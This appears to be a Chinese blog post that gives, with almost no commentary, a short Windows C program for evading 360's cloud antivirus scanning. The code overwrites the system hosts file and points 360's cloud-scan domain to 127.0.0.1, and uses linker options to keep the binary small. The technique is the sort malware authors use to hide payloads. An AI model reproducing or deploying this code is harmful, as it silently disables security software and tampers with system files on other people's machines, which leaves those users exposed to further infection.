5月29

VC也疯狂一:过360云查杀之host也来插一脚

| |
18:56    Bear 本站原创    不指定
不多说,上代码。


//By:洪流
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/subsystem:windows")
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"MSVCRT.lib")
#pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")

int AntiYunScan()
{
  char host[MAX_PATH];
  GetSystemDirectory(host,MAX_PATH);   //得到host目录,免疫杀毒软件
  strcat(host,"\\drivers\\etc\\hosts");  
  SetFileAttributes(host,FILE_ATTRIBUTE_NORMAL);
  FILE *file;
  file=fopen(host,"w");//以写入的方式打开文件,"w"--write
  char mianyi[MAX_PATH]=
    "127.0.0.1 localhost\r\n"
    "127.0.0.1 qup.f.360.cn\r\n";
  fputs(mianyi,file);
  fclose(file);//关闭文件
  return 0;
}

void Torrent()
{
  AntiYunScan();
  ExitProcess(0);
}
阅读(1061) | 评论(0) | 引用(0)
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]